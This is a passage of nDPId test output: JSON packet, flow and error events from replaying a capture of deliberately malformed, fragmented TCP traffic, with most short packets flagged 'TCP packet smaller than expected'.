-00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005137} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005149} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005162} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005173} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005215} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005228} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005240} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005257} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005295} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005302} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005309} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005316} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005323} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005329} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005336} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005343} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005351} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005358} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005365} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005373} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005385} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005398} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005410} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005421} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005428} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005436} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005448} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005459} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005466} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025005473} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244025005485} -00344{"packet_event_id":1,"packet_event_name":"packet","packet_id":626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244025001741,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiomXiUkI0Aj"} 00762{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025305644,"flow_src_last_pkt_time":1534244025305644,"flow_dst_last_pkt_time":1534244025305644,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244025305644,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9253,"dst_port":24102,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_src_last_pkt_time":1534244025305644,"flow_dst_last_pkt_time":1534244025305644,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiQlXiYqKComXiUkI3JzZGy7owAA"} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305666} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305679} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305692} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305704} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305717} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305729} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305742} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305755} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305767} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305779} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025305792} 